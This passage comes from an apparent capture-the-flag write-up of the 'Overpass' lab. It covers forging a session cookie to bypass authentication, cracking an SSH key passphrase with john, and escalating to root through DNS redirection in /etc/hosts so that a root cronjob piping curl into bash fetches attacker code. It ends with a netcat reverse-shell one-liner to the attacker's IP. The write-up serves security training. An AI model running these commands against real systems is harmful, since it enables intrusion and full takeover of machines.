From the part of the script above, we find out that, as long as the cookie SessionToken is present in the request with any value, it gives access to the admin page
We can use Storage tab using Inspect element to add the cookie with the name SessionToken and refresh the page
We find the ssh private key of James, saving it as id_rsa
Changing its permission with chmod 600 id_rsa
While trying to log on via ssh, it asks for a passphrase
3. Gaining access
3.1 SSH2john
We can use john to crack the passphrase of the id_rsa key
We need to convert into a recognizable hash format for john using ssh2john and save it as hash.txt and then use john to crack it
python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (id_rsa)
1g 0:00:00:08 DONE (2022-07-17 19:07) 0.1165g/s 1671Kp/s 1671Kc/s 1671KC/sa6_123..*7¡Vamos!
Session completed
We get the passphrase james13
SSHing as James and using the passphrase, we get access
ssh -i id_rsa james@10.10.201.36 11s
The authenticity of host '10.10.201.36 (10.10.201.36)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.201.36' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$
We get the user.txt flag in the home folder of james
There is also a todo.txt file
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
A mention of automated scripts. Cronjobs maybe?
4 Privilege Escalation
4.1 Cronjobs
Viewing the cronjobs from /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
We find that a script located in overpass.thm/downloads/src/buildscript.sh is being run every minute.
We cannot edit the file itself as it makes a call to overpass.thm to get the script
Exploring further, we find that we have write permission on /etc/hosts file
We can modify the IP of overpass.thm to our local machine IP and set up a folder structure similar to the one above to host our own buildscript.sh
127.0.0.1 localhost
127.0.1.1 overpass-prod
10.11.66.165 overpass.thm #Replaced with our local machine Ip address
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
In our local machine, we need to create the directory structure www/downloads/src and create a buuildscript.sh in the src folder with the reverse shell rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 1234 >/tmp/f%